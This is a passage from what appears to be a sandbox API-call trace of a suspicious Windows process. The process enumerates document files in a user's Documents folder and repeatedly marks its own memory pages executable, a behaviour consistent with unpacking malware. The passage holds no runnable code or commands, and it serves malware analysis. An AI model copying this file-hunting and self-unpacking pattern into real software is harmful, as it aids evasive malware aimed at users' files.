pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\qBB62q6apMwF6YbxEq75.pps") returned 1 [0165.913] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cc1b440, ftCreationTime.dwHighDateTime=0x1d5e70f, ftLastAccessTime.dwLowDateTime=0x60b16ac0, ftLastAccessTime.dwHighDateTime=0x1d5d962, ftLastWriteTime.dwLowDateTime=0x60b16ac0, ftLastWriteTime.dwHighDateTime=0x1d5d962, nFileSizeHigh=0x0, nFileSizeLow=0xcf89, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="tadv MTsdp29S.doc", cAlternateFileName="TADVMT~1.DOC")) returned 1 [0165.913] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\qBB62q6apMwF6YbxEq75.pps", psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\tadv MTsdp29S.doc", len=0x40 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\tadv MTsdp29S.doc") returned 1 [0165.913] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\tadv MTsdp29S.doc", len=0x40 | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\tadv MTsdp29S.doc") returned 1 [0165.914] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\tadv MTsdp29S.doc", psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\tadv MTsdp29S.doc", len=0x40 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\tadv MTsdp29S.doc") returned 1 [0165.914] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\tadv MTsdp29S.doc", len=0x40 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\tadv MTsdp29S.doc") returned 1 [0165.914] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\tadv MTsdp29S.doc", psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\tadv MTsdp29S.doc", len=0x40 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\tadv MTsdp29S.doc") returned 1 [0165.914] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\tadv MTsdp29S.doc", len=0x40 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\tadv MTsdp29S.doc") returned 1 [0165.914] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\tadv MTsdp29S.doc", psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\tadv MTsdp29S.doc", len=0x40 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\tadv MTsdp29S.doc") returned 1 [0165.914] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cc1b440, ftCreationTime.dwHighDateTime=0x1d5e70f, ftLastAccessTime.dwLowDateTime=0x60b16ac0, ftLastAccessTime.dwHighDateTime=0x1d5d962, ftLastWriteTime.dwLowDateTime=0x60b16ac0, ftLastWriteTime.dwHighDateTime=0x1d5d962, nFileSizeHigh=0x0, nFileSizeLow=0xcf89, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="tadv MTsdp29S.doc", cAlternateFileName="TADVMT~1.DOC")) returned 0 [0165.914] FindClose (in: hFindFile=0x1e258c88 | out: hFindFile=0x1e258c88) returned 1 [0165.914] SysReAllocStringLen (in: pbstr=0x1e7dfc9c*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG", psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i", len=0x3b | out: pbstr=0x1e7dfc9c*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i") returned 1 [0165.915] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i", len=0x3b | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i") returned 1 [0165.915] SysReAllocStringLen (in: pbstr=0x1e7dfc9c*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i", psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i", len=0x3b | out: pbstr=0x1e7dfc9c*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i") returned 1 [0165.915] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i", len=0x3b | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i") returned 1 [0165.915] SysReAllocStringLen (in: pbstr=0x1e7dfc9c*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i", psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i", len=0x3b | out: pbstr=0x1e7dfc9c*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i") returned 1 [0165.915] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i", len=0x3b | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i") returned 1 [0165.915] SysReAllocStringLen (in: pbstr=0x1e7dfc9c*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i", psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i", len=0x3b | out: pbstr=0x1e7dfc9c*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i") returned 1 [0165.919] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.920] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.920] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.921] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.921] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x414000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x414000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.922] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.922] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.923] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.923] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.924] SysReAllocStringLen (in: pbstr=0x1e7dfa1c*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\*", psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\*", len=0x3d | out: pbstr=0x1e7dfa1c*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\*") returned 1 [0165.924] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\*", len=0x3d | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\*") returned 1 [0165.924] SysReAllocStringLen (in: pbstr=0x1e7dfa1c*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\*", psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\*", len=0x3d | out: pbstr=0x1e7dfa1c*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\*") returned 1 [0165.924] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\*", len=0x3d | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\*") returned 1 [0165.924] SysReAllocStringLen (in: pbstr=0x1e7dfa1c*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\*", psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\*", len=0x3d | out: pbstr=0x1e7dfa1c*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\*") returned 1 [0165.924] SysReAllocStringLen (in: pbstr=0x1e7df96c*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\*", len=0x3d | out: pbstr=0x1e7df96c*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\*") returned 1 [0165.924] SysReAllocStringLen (in: pbstr=0x1e7dfa1c*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\*", psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\*", len=0x3d | out: pbstr=0x1e7dfa1c*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\*") returned 1 [0165.924] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\*", lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa285d660, ftCreationTime.dwHighDateTime=0x1d5dd50, ftLastAccessTime.dwLowDateTime=0x12f060, ftLastAccessTime.dwHighDateTime=0x1d5df95, ftLastWriteTime.dwLowDateTime=0x12f060, ftLastWriteTime.dwHighDateTime=0x1d5df95, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1e258c88 [0165.925] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\tadv MTsdp29S.doc", psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\.", len=0x3d | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\.") returned 1 [0165.925] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\.", len=0x3d | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\.") returned 1 [0165.925] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\.", psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\.", len=0x3d | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\.") returned 1 [0165.925] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\.", len=0x3d | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\.") returned 1 [0165.925] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\.", psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\.", len=0x3d | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\.") returned 1 [0165.925] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\.", len=0x3d | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\.") returned 1 [0165.925] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\.", psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\.", len=0x3d | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\.") returned 1 [0165.926] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa285d660, ftCreationTime.dwHighDateTime=0x1d5dd50, ftLastAccessTime.dwLowDateTime=0x12f060, ftLastAccessTime.dwHighDateTime=0x1d5df95, ftLastWriteTime.dwLowDateTime=0x12f060, ftLastWriteTime.dwHighDateTime=0x1d5df95, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.926] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\.", psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\..", len=0x3e | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\..") returned 1 [0165.926] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\..", len=0x3e | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\..") returned 1 [0165.926] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\..", psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\..", len=0x3e | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\..") returned 1 [0165.926] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\..", len=0x3e | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\..") returned 1 [0165.926] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\..", psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\..", len=0x3e | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\..") returned 1 [0165.927] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\..", len=0x3e | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\..") returned 1 [0165.927] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\..", psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\..", len=0x3e | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\..") returned 1 [0165.927] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f5c07f0, ftCreationTime.dwHighDateTime=0x1d5dc7e, ftLastAccessTime.dwLowDateTime=0x11f20ad0, ftLastAccessTime.dwHighDateTime=0x1d5e294, ftLastWriteTime.dwLowDateTime=0x11f20ad0, ftLastWriteTime.dwHighDateTime=0x1d5e294, nFileSizeHigh=0x0, nFileSizeLow=0x6648, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AKc4C6IclMV.rtf", cAlternateFileName="AKC4C6~1.RTF")) returned 1 [0165.927] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\..", psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\AKc4C6IclMV.rtf", len=0x4b | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\AKc4C6IclMV.rtf") returned 1 [0165.927] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\AKc4C6IclMV.rtf", len=0x4b | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\AKc4C6IclMV.rtf") returned 1 [0165.927] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\AKc4C6IclMV.rtf", psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\AKc4C6IclMV.rtf", len=0x4b | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\AKc4C6IclMV.rtf") returned 1 [0165.928] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\AKc4C6IclMV.rtf", len=0x4b | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\AKc4C6IclMV.rtf") returned 1 [0165.928] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\AKc4C6IclMV.rtf", psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\AKc4C6IclMV.rtf", len=0x4b | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\AKc4C6IclMV.rtf") returned 1 [0165.928] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\AKc4C6IclMV.rtf", len=0x4b | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\AKc4C6IclMV.rtf") returned 1 [0165.928] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\AKc4C6IclMV.rtf", psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\AKc4C6IclMV.rtf", len=0x4b | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\AKc4C6IclMV.rtf") returned 1 [0165.928] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="AKc4C6IclMV.rtf", cchWideChar=15, lpMultiByteStr=0x1e7de974, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AKc4C6IclMV.rtf_qC44f0vdNG\\jNZkgQds.doc4f0vdNG\\bFhzBCrd4x8i\x1e|.(w\x09\x04", lpUsedDefaultChar=0x0) returned 15 [0165.928] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x406000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x406000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.929] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x405000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x405000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.929] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="AKc4C6IclMV.rtf", cchWideChar=15, lpMultiByteStr=0x1e7de974, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AKc4C6IclMV.rtf_qC44f0vdNG\\jNZkgQds.doc4f0vdNG\\bFhzBCrd4x8i\x1e|.(w\x09\x04", lpUsedDefaultChar=0x0) returned 15 [0165.929] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="AKc4C6IclMV.rtf", cchWideChar=15, lpMultiByteStr=0x1e7de974, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AKc4C6IclMV.rtf_qC44f0vdNG\\jNZkgQds.doc4f0vdNG\\bFhzBCrd4x8i\x1e|.(w\x09\x04", lpUsedDefaultChar=0x0) returned 15 [0165.930] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8742a60, ftCreationTime.dwHighDateTime=0x1d5db13, ftLastAccessTime.dwLowDateTime=0x810825c0, ftLastAccessTime.dwHighDateTime=0x1d5da3e, ftLastWriteTime.dwLowDateTime=0x810825c0, ftLastWriteTime.dwHighDateTime=0x1d5da3e, nFileSizeHigh=0x0, nFileSizeLow=0xe13e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BHa8QRGInh5gjlg.ots", cAlternateFileName="BHA8QR~1.OTS")) returned 1 [0165.930] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\AKc4C6IclMV.rtf", psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\BHa8QRGInh5gjlg.ots", len=0x4f | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\BHa8QRGInh5gjlg.ots") returned 1 [0165.930] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\BHa8QRGInh5gjlg.ots", len=0x4f | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\BHa8QRGInh5gjlg.ots") returned 1 [0165.930] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i\\BHa8QRGInh5gjlg.ots", 